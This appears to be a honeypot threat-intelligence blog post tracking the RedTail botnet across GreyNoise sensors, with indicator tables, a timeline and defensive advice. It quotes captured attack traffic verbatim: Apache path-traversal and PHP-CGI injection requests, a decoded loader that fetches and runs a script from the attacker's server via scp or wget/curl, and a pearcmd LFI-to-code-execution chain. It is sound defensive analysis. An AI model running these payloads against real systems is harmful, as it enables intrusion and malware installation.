GreyNoise watches the internet’s background noise: the scanners, botnets and opportunistic exploit traffic that hit every public IP. Through Project Swarm, anyone can run a GreyNoise sensor and keep the full PCAP of everything that hits it. The first three writeups in this series each followed one sensor. This one follows one botnet across the whole fleet.
RedTail has turned up in every writeup so far. Wrong Door traced its Apache exploit and its loader, 217.60.102[.]5, on the Tomcat sensor. Right Door logged “a fourth RedTail node” in passing. When a fifth sensor came online on 10-17, RedTail found it in under two hours with a much bigger exploit menu and a delivery trick I haven’t seen documented anywhere. A search across the whole fleet then showed that the bigger menu had been there all week, on a handful of nodes, behind a crowd that only ever sent the small one.
Credit: This project was inspired by John Hammond’s interview with the creator of GreyNoise, which introduced Project Swarm and the idea of running your own sensors and keeping the PCAPs.
Five $4/month DigitalOcean droplets, each in a different region. On 10-17 three of them moved to new profiles, and a fifth sensor was added. The table shows the profile each sensor had when RedTail reached it.
| Sensor | Region | Profile when RedTail arrived | RedTail visits (nodes) |
|---|---|---|---|
| Bold Earwig | Sydney (SYD1) | Apache Tomcat 8.0.45 - VULNERABLE | 6 (6), 10-14 to 10-16, all Apache-only |
| Vibrant Quetzal | San Francisco (SFO2) | React Server Components - VULNERABLE | 6 (6), 10-14 to 10-18, 3 full menu |
| Festive Goat | Frankfurt (FRA1) | WordPress MasterStudy LMS - VULNERABLE | 4 (4), 10-14 to 10-17, 1 full menu |
| Modest Cat | London (LON1) | MagnusBilling - VULNERABLE | 1 (1), 10-17, full menu |
| Pensive Markhor | Singapore (SGP1) | Cowrie Telnet / GNU telnetd | not applicable (no web service) |

The newest sensor runs MagnusBilling, an open-source VoIP billing panel built on Asterisk, vulnerable to CVE-2023-30258: unauthenticated command injection through the democ parameter of /mbilling/lib/icepay/icepay.php. It’s a real Apache 2.4.62 on Debian with the app installed, and / answers with a 302 to ./mbilling.

Swarm’s own profile text gets the bug slightly wrong: it says democ.php and a lang parameter. The public PoCs and the Metasploit module go after icepay.php?democ=, so that’s the path I watched for.
Modest Cat registered at 2026-10-17 06:19 UTC. In its first 24 hours it logged about 26,000 sessions. Only 349 were classified malicious, and 18 of those were on port 80. Not one of them asked for icepay.php. The traffic that did arrive was the same internet the other sensors see, and the first exploit kit to show up, at 08:09, was RedTail.

Between 10-14 and 10-18, sixteen different IP addresses identifying themselves as libredtail-http made 17 visits to four of the five sensors in Sydney, San Francisco, Frankfurt and London. Every request that carried a payload fetched its next stage from the same host: hxxps://217.60.102[.]5/sh. Eleven of the nodes sent only RedTail’s Apache path-traversal pair (CVE-2021-41773 / CVE-2021-42013). The other five, 102.244.97[.]185, 23.27.96[.]188, 144.48.240[.]217, 213.165.53[.]216 and 152.32.225[.]117, each ran the same 49-request menu in under a minute: the Apache pair, five PHP-CGI argument-injection variants, PHPUnit eval-stdin.php at 37 paths, ThinkPHP invokefunction, a two-step pearcmd LFI chain and a Docker API check. Both kinds of node were active from the first day to the last, so this isn’t a botnet upgrading mid-week but two node types working side by side. The payloads label themselves by module (sh -s apache, cve_2024_4577), and the PHP-CGI payload doesn’t just run wget | sh: it writes out an embedded SSH private key and tries to fetch the script with scp as user dlr first, falling back to HTTPS only if that fails. All five full-menu nodes, on three continents across four days, carried the identical key (fingerprint SHA256:O/at8341SoPpKvTPvMsJSgjQm30md9VTS2it25sY0vg, comment dlr@sftp). None of the exploits worked: every sensor answered with 400, 404, 301, 302 or its normal homepage, and none of the success markers came back.
flowchart LR
BE[Bold Earwig<br/>Tomcat, SYD<br/>6 Apache-only nodes]
VQ[Vibrant Quetzal<br/>React, SFO<br/>3 Apache-only, 3 full menu]
FG[Festive Goat<br/>WordPress, FRA<br/>3 Apache-only, 1 full menu]
MC[Modest Cat<br/>MagnusBilling, LON<br/>1 full menu]
BE & VQ & FG & MC -. every payload .-> L[(217.60.102.5<br/>/sh over HTTPS<br/>or SCP as dlr)]
K{{one SSH key<br/>dlr@sftp}} -. carried by all 5 full-menu nodes .-> VQ & FG & MC
http.useragent:*libredtail* over the past week, exported as one PCAP: 33 sessions from 2026-10-14 05:04 to 2026-10-18 03:59 UTC, covering every sensor.2026-10-18 02:21 UTC, filtered to its sensor ID, classification:malicious and destination.port:80 (18 sessions), for everything else that knocked.follow,tcp,raw on each stream and a short Python script to rebuild every request and response, decode the base64, pull out the tags and hash the embedded key so runs can be compared without printing it.ssh-keygen -lf on the extracted private key, which gives the public fingerprint without publishing the key.Every RedTail visit in the fleet-wide export, sorted by time. “Full menu” is the same 49 requests every time; “pair” is the two Apache requests.
| Time (UTC) | Scanner | Hosting (country) | Sensor | What it sent | Result |
|---|---|---|---|---|---|
| 10-14 05:04 | 163.7.1[.]156 | BytePlus (ID) | Festive Goat | pair | 400 |
| 10-14 07:13 | 102.244.97[.]185 | Orange Cameroun (CM) | Vibrant Quetzal | full menu | no marker |
| 10-14 07:38 | 185.126.5[.]217 | Pishgaman (IR) | Vibrant Quetzal | Apache, one request | 404 |
| 10-14 12:12 | 51.158.145[.]102 | Scaleway (NL) | Bold Earwig | pair | 400 |
| 10-14 19:55 | 160.250.132[.]238 | VPS4U (VN) | Vibrant Quetzal | pair | 404 |
| 10-14 20:24 | 41.223.139[.]111 | American University of Nigeria (NG) | Festive Goat | pair | 400 |
| 10-15 04:35 | 65.109.215[.]207 | Hetzner (FI) | Bold Earwig | pair | 400 |
| 10-15 22:24 | 157.245.84[.]42 | DigitalOcean (US) | Bold Earwig | pair | 400 |
| 10-16 01:33 | 91.107.164[.]22 | Hetzner (DE) | Bold Earwig | pair | 400 |
| 10-16 02:18 | 45.140.193[.]140 | QNAX (BR) | Bold Earwig | pair | 400 |
| 10-16 04:24 | 89.247.33[.]110 | 1&1 Versatel (DE) | Bold Earwig | pair | 400 |
| 10-16 23:57 | 51.158.145[.]102 | Scaleway (NL) | Festive Goat | Apache, one request | 400 |
| 10-17 01:35 | 23.27.96[.]188 | Evoxt (HK) | Festive Goat | full menu | no marker |
| 10-17 08:09 | 144.48.240[.]217 | Law’s Cloud (HK) | Modest Cat | full menu | no marker |
| 10-17 20:50 | 213.165.53[.]216 | Intezio (DE) | Vibrant Quetzal | full menu | no marker |
| 10-17 22:07 | 156.227.234[.]198 | YISU Cloud (JP) | Vibrant Quetzal | pair | 404 |
| 10-18 03:59 | 152.32.225[.]117 | UCloud (HK) | Vibrant Quetzal | full menu (48 of 49 in the export) | no marker |


Sixteen source IPs, fifteen hosting providers in twelve countries, four sensors, one download server. Only 51.158.145[.]102 came back, to a different sensor two and a half days later. The nodes are a mix of cloud VPSs, a German ISP line, a Cameroonian telecom and a Nigerian university, which is what a botnet built from compromised machines looks like: each infected host scans for the next one. The three covered in Wrong Door and Right Door are reported to AbuseIPDB mainly for brute force, two of them for SSH, which fits a botnet that recruits over SSH as well as through web exploits.
The Apache pair is identical everywhere:
POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
User-Agent: libredtail-http
(wget --no-check-certificate -qO- https://217.60.102.5/sh || curl -sk https://217.60.102.5/sh) | sh -s apache
The second request swaps .%2e for the double-encoded %%32%65 (CVE-2021-42013). Wrong Door walked through how both work. The new detail is the last word: sh -s apache passes apache to the downloaded script as its first argument.
The five full-menu nodes did much more, and they all did it the same way: the same 49 requests in the same order, over two or three connections, finished in under a minute. On Modest Cat the whole run took 26 seconds.
| Step | Requests | Target | What it sends |
|---|---|---|---|
| 1 | 2 | Apache httpd (CVE-2021-41773 / 42013) | the loader, tagged apache |
| 2 | 5 | PHP-CGI argument injection | the SCP loader, tagged cve_2024_4577 |
| 3 | 37 | PHPUnit eval-stdin.php (CVE-2017-9841) | <?php echo(md5("Hello PHPUnit")); |
| 4 | 2 | ThinkPHP 5.x invokefunction (commonly tracked as CVE-2018-20062) | call_user_func_array → md5("Hello") |
| 5 | 2 | pearcmd LFI | writes /tmp/index1.php, then includes it → md5("hi") |
| 6 | 1 | Docker Engine API | GET /containers/json |
The menu splits into two kinds of module. The Apache and PHP-CGI modules send the loader straight away, because if the bug is there the payload runs and nothing else is needed. PHPUnit, ThinkPHP and pearcmd only send a check: run md5() on a fixed string and see whether the hash comes back. No hash came back on any sensor. A positive check would presumably trigger a second request carrying the payload, but none of the sensors got far enough to show that.

The whole menu from 23.27.96[.]188 on Festive Goat, in time order: 49 requests in 49 seconds, from the Apache pair at the top to /containers/json at the bottom.
The five PHP-CGI requests try every way of slipping -d options into PHP-CGI through the query string:
POST /hello.world?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input
POST /?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input
POST /index.php?%25ADd+allow_url_include%3D1+%25ADd+auto_prepend_file%3Dphp://input
POST /test.hello?%25ADd+allow_url_include%3D1+%25ADd+auto_prepend_file%3Dphp://input
POST /index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input
The first four are CVE-2024-4577: %AD is a soft hyphen, which Windows’ best-fit code-page conversion turns into - (the %25AD versions are double-encoded for servers that decode twice). The fifth uses a plain -d, which is the 2012 bug it bypasses, CVE-2012-1823. All five bodies are byte-for-byte the same payload with the same cve_2024_4577 tag, so the tag names the module, not the specific CVE. All the sensors run Linux, so none of these could work. WordPress and the React sensor returned their homepages (200), MagnusBilling its 302 to ./mbilling, and the rest 404.
The PHP-CGI body is a shell_exec(base64_decode("…")) followed by echo(md5("Hello CVE-2024-4577")) as the success marker. Decoded, with the key removed:
cd /tmp || cd /var/tmp || cd /dev/shm
echo '-----BEGIN OPENSSH PRIVATE KEY----- [removed] -----END OPENSSH PRIVATE KEY-----' > key.ppk
echo 'StrictHostKeyChecking no
UserKnownHostsFile /dev/null' > sshcfg
chmod 400 key.ppk
scp -s -F sshcfg -i key.ppk [email protected]:sh out_sh
if [ $? -eq 0 ]; then
chmod +x out_sh; sh out_sh cve_2024_4577 >/dev/null 2>&1
else
(wget --no-check-certificate -qO- https://217.60.102.5/sh || curl -sk https://217.60.102.5/sh) | sh -s cve_2024_4577
fi
rm -rf sshcfg key.ppk out_sh

The decoded PHP-CGI payload as the script prints it, with the key replaced by [REDACTED]. It is all one line in the original.
It picks the first writable temp directory, writes an Ed25519 private key and an SSH config that skips host-key checks, and copies sh from the loader as user dlr. -s makes scp use the SFTP protocol, and the key’s own comment is dlr@sftp, so the account is most likely an SFTP-only download drop. If SCP fails (no scp binary, port 22 blocked outbound), it falls back to the HTTPS loader the Apache module uses. Either way it runs the script with the cve_2024_4577 tag, then deletes the key, the config and the script.
Why bother? The PCAP can’t say, but the design suggests some reasons. A wget to a bare IP over HTTPS is exactly what URL filters, proxies and URLhaus-fed blocklists look for, and hxxps://217.60.102[.]5/sh has been on URLhaus since 10-03. An outbound SSH session looks like administration, gets inspected far less, and its content is encrypted end to end. The key also means only RedTail’s own payload can fetch the script that way. The cost is that the operator has shipped a working login to their own server inside every exploit. I didn’t use it, and I’ve left the key out of this writeup: logging into an attacker’s server is not something a honeypot project gets to do.
I couldn’t find any public reporting of RedTail using SCP with an embedded key. Akamai, Forescout and SANS describe the wget/curl loader, and Beelzebub documented RedTail moving into Docker APIs, but none of them mention this. All five full-menu nodes carried the same key:
$ python3 redtail_keyprint.py 2026-10-18-libredtail-week.pcap
2026-10-14 07:13 102.244.97.185 256 SHA256:O/at8341SoPpKvTPvMsJSgjQm30md9VTS2it25sY0vg dlr@sftp (ED25519)
2026-10-17 01:35 23.27.96.188 256 SHA256:O/at8341SoPpKvTPvMsJSgjQm30md9VTS2it25sY0vg dlr@sftp (ED25519)
2026-10-17 08:09 144.48.240.217 256 SHA256:O/at8341SoPpKvTPvMsJSgjQm30md9VTS2it25sY0vg dlr@sftp (ED25519)
2026-10-17 20:50 213.165.53.216 256 SHA256:O/at8341SoPpKvTPvMsJSgjQm30md9VTS2it25sY0vg dlr@sftp (ED25519)
2026-10-18 03:59 152.32.225.117 256 SHA256:O/at8341SoPpKvTPvMsJSgjQm30md9VTS2it25sY0vg dlr@sftp (ED25519)
The script decodes each PHP-CGI payload, writes the key to a temp file just long enough for ssh-keygen -lf to read it, and prints only the fingerprint.
Five scanners in Cameroon, Hong Kong and Germany, spread over four days, with one key: that’s one operator, not a family of copycats sharing a user-agent. And the key was already in use on 10-14, so the SCP delivery is not a new feature that arrived with the newest sensor.

This is the local file inclusion the Festive Goat and Modest Cat profiles were partly chosen to catch, even though neither is vulnerable to this one:
GET /index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?echo(md5("hi"));?>+/tmp/index1.php
GET /index.php?lang=../../../../../../../../tmp/index1
It needs two things on the target: a PHP app that includes a file named by a parameter (here lang, which the app is assumed to turn into <lang>.php), and PHP’s PEAR installer at /usr/local/lib/php/pearcmd.php, which the official PHP Docker images ship with register_argc_argv turned on. The first request includes pearcmd.php and, because of register_argc_argv, PEAR reads the rest of the query string as its command line: config-create / /tmp/index1.php writes a config file to /tmp/index1.php, with the <?echo(md5("hi"));?> string inside it. The second request includes that file, and PHP runs the code in it. An LFI that can only read files becomes code execution, using a file that already ships in the image.
MagnusBilling answered both with its 302, WordPress with 301 (its canonical redirect), React with 404.
eval-stdin.php at 37 paths (/vendor/…, /laravel/vendor/…, /crm/vendor/… and so on), each a GET with a 33-byte body: <?php echo(md5("Hello PHPUnit"));. That file runs whatever it reads from its input, so a GET with a body is enough. All 404.?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello, at /index.php and /public/index.php. The 200 on WordPress was its homepage, not the hash.GET /containers/json, the call that lists running containers on an unauthenticated Docker Engine API. Beelzebub’s capture showed RedTail going on to POST /containers/<id>/exec with a loader command. Here every full-menu run only checked, on port 80 rather than Docker’s 2375, and got 404.My first pass at this used the earlier per-sensor exports, which were filtered to sessions containing a POST. In those, the nodes from 10-14 to 10-16 sent only the Apache pair and the two 10-17 nodes sent the full menu, which looked like a botnet pushing a new build on 10-17. The fleet-wide search for the user-agent killed that idea. 102.244.97[.]185 ran the full menu, SCP key and all, on Vibrant Quetzal at 07:13 on 10-14, and Apache-only nodes were still turning up on 10-17. The earlier export had simply missed it.
So both kinds ran side by side all week: eleven nodes that only ever sent the pair, five that always sent all 49 requests. No node was seen doing both, and 51.158.145[.]102, the one repeat visitor, sent the short version both times. The PCAPs can’t say why. The most likely explanation is two different spreader builds, or one build that picks its modules based on something about the infected host. What doesn’t explain it is the target: the full menu went to React, WordPress and MagnusBilling alike, and it kept going after the Apache pair got 400 or 404, so the sensor’s answers weren’t choosing the menu.
Bold Earwig is the odd one out. It got six RedTail visits, as many as Vibrant Quetzal, and every one was the short version. That could be chance, with five full-menu runs out of seventeen, or something about Sydney or about the Tomcat sensor. There aren’t enough runs to tell. It also stopped being a target on 10-17, when it moved to a Redis profile with no web service, so it was never in the line of fire on the day three of the five full-menu runs arrived.
The rest of the port-80 traffic in Modest Cat’s first day:
137.23.38[.]53 asked for 149 variations of .env, .aws/credentials, .docker/config.json and cPanel configs across three visits. 147.224.168[.]149, with the user-agent WebSiphon/next-0.1 (also seen in Wrong Door), started with /config/litellm_config.yaml, then cloud .env files, appsettings.json and Terraform files. LiteLLM is a gateway that sits in front of AI model APIs, and its config file holds the API keys for all of them, so AI infrastructure is now on the list next to AWS keys.213.254.175[.]83 (python-requests/2.26.0) sent GET /.env, then POST / with 0x[]=androxgh0st, then followed MagnusBilling’s redirect to /mbilling.185.177.72[.]24 (curl/8.7.1) requested /wp-json/gravitysmtp/v1/tests/mock-data?page=gravitysmtp-settings 40 times in four seconds, an unauthenticated endpoint in the Gravity SMTP WordPress plugin that leaked the site’s mail settings and API keys. MagnusBilling isn’t WordPress: all 404.223.123.126[.]147 sent the Netgear setup.cgi command injection, telling the device to download Mozi.m from the scanner itself on port 60018, the same peer-to-peer self-spreading pattern as in Mozi Zombie Loader.
Hosting for every node is in the One Loader table. The five full-menu nodes and the loader are the ones worth a closer look:
| IP | Seen as | Sensor | AbuseIPDB |
|---|---|---|---|
102.244.97[.]185 | RedTail, full menu (10-14) | Vibrant Quetzal | 100%, 2,147 reports from 833 sources since 2026-09-19; Orange Cameroun, fixed-line ISP; top category Web App Attack (957) |
23.27.96[.]188 | RedTail, full menu (10-17) | Festive Goat | 100%, 29 reports, first reported 2026-10-17; Evoxt, HK data centre; Brute-Force, SSH |
144.48.240[.]217 | RedTail, full menu (10-17) | Modest Cat | 100%, 106 reports since 2022-02-05; Law’s Cloud, HK data centre; Brute-Force, SSH |
213.165.53[.]216 | RedTail, full menu (10-17) | Vibrant Quetzal | 100%, 114 reports, first reported 2026-10-17; Intezio, Frankfurt data centre; Brute-Force, SSH |
152.32.225[.]117 | RedTail, full menu (10-18) | Vibrant Quetzal | 100%, 2,686 reports from 1,190 sources since 2022-11-15; UCloud, HK data centre; Brute-Force (1,997), SSH (1,888) |
217.60.102[.]5 | RedTail loader / SFTP drop | all four | SWISSNET (AS209373), NL (Wrong Door) |





All five score 100%, and four of the five are reported mostly for SSH brute force, not web attacks: these machines are spreading RedTail over SSH as well as through the web menu. Two of them, 23.27.96[.]188 and 213.165.53[.]216, were first reported on 10-17, the same day they hit the sensors, so they look like freshly compromised (or freshly rented) hosts going straight to work. The odd one out is 102.244.97[.]185, a home or business line in Cameroon whose reports lean towards web attacks, most likely a compromised machine on a normal ISP connection.
URLhaus has tracked 217.60.102[.]5 since 2026-10-03 06:15 UTC, and on 10-18 seven of its eight URLs were still online, fifteen days after the first report. The host resolves to a SWISSNET server and sits on the Spamhaus SBL (SBL699566). Besides /sh, it serves /clean (another shell script) and ELF binaries for five architectures: x86_64, i686, aarch64, arm7 and riscv. That matches public reporting on RedTail’s loader, which works out what CPU it’s running on and fetches the matching miner build. I didn’t download any of them, so this is from URLhaus, not from my own analysis. Several of those entries carry a Prometei tag and one a mirai tag. Those are reporters’ labels, and nothing in these captures links this server to either family. What URLhaus can’t show is the SCP channel: [email protected][.]5:sh isn’t a URL, so a blocklist built from URLs alone will miss the route RedTail tries first.

| Phase | Action |
|---|---|
| Reconnaissance | Sixteen libredtail-http nodes make 17 visits to four sensors between 10-14 and 10-18 |
| Initial Access | Apache httpd path traversal to /bin/sh (CVE-2021-41773 / 42013), on every sensor |
| Initial Access | PHP-CGI argument injection, five variants (CVE-2024-4577, CVE-2012-1823), full-menu nodes only |
| Reconnaissance | md5() marker checks for PHPUnit (CVE-2017-9841), ThinkPHP invokefunction, pearcmd LFI; Docker /containers/json |
| Execution | sh runs the loader, tagged with the module that delivered it (apache, cve_2024_4577) |
| Command and Control | Loader fetched with scp -s as dlr using an embedded Ed25519 key, falling back to HTTPS wget / curl |
| Defense Evasion | Payload base64-encoded in shell_exec; host-key checks disabled; key, config and script deleted after running |
| Impact | RedTail’s goal is XMRig-based Monero mining (public reporting; no miner reached any sensor) |
| Timestamp (UTC) | Event |
|---|---|
| 2026-10-03 | hxxps://217.60.102[.]5/sh first listed on URLhaus (Wrong Door) |
| 2026-10-14 05:04:42 | 163.7.1[.]156 → Festive Goat: Apache pair → 400 (first RedTail visit in the export) |
| 2026-10-14 07:13:13 – 07:13:45 | 102.244.97[.]185 → Vibrant Quetzal: full menu, SCP loader with the dlr@sftp key → no marker returned |
| 2026-10-14 07:38:55 | 185.126.5[.]217 → Vibrant Quetzal: Apache traversal → 404 |
| 2026-10-14 12:12:39 | 51.158.145[.]102 → Bold Earwig: Apache pair → 400 |
| 2026-10-14 19:55:59 | 160.250.132[.]238 → Vibrant Quetzal: Apache pair → 404 |
| 2026-10-14 20:24:59 | 41.223.139[.]111 → Festive Goat: Apache pair → 400 |
| 2026-10-15 04:35:28 | 65.109.215[.]207 → Bold Earwig: Apache pair → 400 |
| 2026-10-15 22:24:36 – 2026-10-16 04:24:42 | Four more Apache-only nodes → Bold Earwig: 157.245.84[.]42, 91.107.164[.]22, 45.140.193[.]140, 89.247.33[.]110 |
| 2026-10-16 23:57:35 | 51.158.145[.]102 → Festive Goat: Apache traversal → 400 (second sensor, 2.5 days later) |
| 2026-10-17 01:35:01 – 01:35:51 | 23.27.96[.]188 → Festive Goat: full menu, same key → no marker returned |
| 2026-10-17 06:19 | Modest Cat (MagnusBilling) registers with GreyNoise |
| 2026-10-17 07:00:49 | Mozi Netgear setup.cgi loader → Modest Cat |
| 2026-10-17 08:09:41 – 08:10:08 | 144.48.240[.]217 → Modest Cat: full menu, same key → no marker returned (1 h 50 min after registration) |
| 2026-10-17 16:23:44 | WebSiphon secret sweep starting with litellm_config.yaml → Modest Cat |
| 2026-10-17 20:50:42 – 20:51:35 | 213.165.53[.]216 → Vibrant Quetzal: full menu, same key → no marker returned |
| 2026-10-17 21:36:16 | Androxgh0st .env + 0x[]=androxgh0st → Modest Cat |
| 2026-10-17 22:07:51 | 156.227.234[.]198 → Vibrant Quetzal: Apache pair → 404 |
| 2026-10-18 01:55:02 | Gravity SMTP mock-data probes → Modest Cat |
| 2026-10-18 03:59:03 | 152.32.225[.]117 → Vibrant Quetzal: full menu, same key, 48 of 49 requests in the export → no marker returned |
| Type | Value |
|---|---|
| IP (RedTail loader / SFTP drop) | 217.60.102[.]5 |
| URL | hxxps://217.60.102[.]5/sh; SCP [email protected][.]5:sh |
| SSH key (public fingerprint) | SHA256:O/at8341SoPpKvTPvMsJSgjQm30md9VTS2it25sY0vg (Ed25519, comment dlr@sftp) |
| IP (RedTail full-menu nodes) | 102.244.97[.]185, 23.27.96[.]188, 144.48.240[.]217, 213.165.53[.]216, 152.32.225[.]117 |
| IP (RedTail Apache-only nodes) | 163.7.1[.]156, 185.126.5[.]217, 51.158.145[.]102, 160.250.132[.]238, 41.223.139[.]111, 65.109.215[.]207, 157.245.84[.]42, 91.107.164[.]22, 45.140.193[.]140, 89.247.33[.]110, 156.227.234[.]198 |
| User-Agent | libredtail-http |
| Module tags | sh -s apache, sh -s cve_2024_4577, sh out_sh cve_2024_4577 |
| Dropped files (deleted after run) | key.ppk, sshcfg, out_sh in /tmp, /var/tmp or /dev/shm |
| Marker strings | md5("Hello CVE-2024-4577"), md5("Hello PHPUnit"), md5("Hello"), md5("hi") |
| LFI write path | /tmp/index1.php (pearcmd config-create) |
| IP (secret hunting) | 137.23.38[.]53, 147.224.168[.]149 (WebSiphon/next-0.1) |
| IP (Androxgh0st) | 213.254.175[.]83 |
| IP (Gravity SMTP probes) | 185.177.72[.]24 |
| IP (Mozi) | 223.123.126[.]147 (Mozi.m on port 60018) |
| Technique | ID | Description |
|---|---|---|
| Vulnerability Scanning | T1595.002 | md5() marker checks for PHPUnit, ThinkPHP and pearcmd; Docker /containers/json |
| Exploit Public-Facing Application | T1190 | Apache traversal, PHP-CGI argument injection, pearcmd LFI to code execution |
| Unix Shell | T1059.004 | Loader piped to sh with a module tag as its argument |
| Obfuscated Files or Information | T1027 | SCP loader base64-encoded inside shell_exec(base64_decode(…)) |
| Ingress Tool Transfer | T1105 | scp, wget and curl fetching sh from 217.60.102[.]5 |
| Application Layer Protocol: File Transfer Protocols | T1071.002 | SFTP (scp -s) as the first-choice download channel |
| File Deletion | T1070.004 | rm -rf sshcfg key.ppk out_sh after the script runs |
| Resource Hijacking | T1496 | RedTail’s purpose is Monero mining (public reporting) |
Outbound SSH from a web server is a detection. A PHP or Apache process spawning scp or ssh to an IP address, with StrictHostKeyChecking no, is never normal. Most egress filtering is aimed at HTTP; RedTail now tries port 22 first. Allow web servers outbound only to what they actually need.
Hunt for the files, even though they get deleted. key.ppk, sshcfg and out_sh exist in /tmp, /var/tmp or /dev/shm for a few seconds. File-creation telemetry from an EDR, or auditd on those directories, catches them. An OpenSSH private key written by the web server user is enough for an alert on its own.
Use the fingerprint, not just the IP. The loader IP will change. A key reused across nodes is a better pivot: the fingerprint above identifies this operator wherever the key turns up, including on the server side if the SFTP host is ever taken down and examined.
Patch the boring things. PHPUnit’s eval-stdin.php is from 2017, the Apache traversal from 2021, ThinkPHP from 2018. They’re still in a botnet’s menu in 2026 because they still work somewhere. Don’t ship vendor/ and test tooling to production web roots, and remove pearcmd.php from PHP images or turn register_argc_argv off.
One sensor is an anecdote, four are a campaign, and filters can lie. Each sensor on its own saw a handful of RedTail visits. Lining them all up showed one loader, sixteen nodes and one SSH key shared across three continents. My first pass, built from exports filtered to POST requests, also produced a confident story about a botnet upgrading on 10-17 that one unfiltered search for the user-agent disproved. Pivot on the indicator itself (here the user-agent) across everything you have before drawing a timeline from a filtered slice.
RedTail found every web sensor in the fleet, including one that had been online for less than two hours. Sixteen IP addresses on fifteen hosting providers did the scanning, and every payload they sent led back to one server in Amsterdam. Most of them sent the same two Apache requests Wrong Door picked apart. A few, from the first day to the last, sent nearly fifty requests per target, covering PHP-CGI, PHPUnit, ThinkPHP, a pearcmd LFI chain and Docker, and fetched their payload over SFTP with a private key baked into the exploit.
None of it worked on these sensors: none of them is vulnerable to anything on the list, and every success marker stayed silent. MagnusBilling’s own bug, the one Modest Cat was built to catch, hasn’t been tried once yet. What the sensors did catch is one operator running two kinds of node at once, and a delivery trick that hands a working login to the attacker’s own server to everyone it attacks.
Part two: What the Loader Does reads the /sh and /clean scripts and the miner this loader hands out.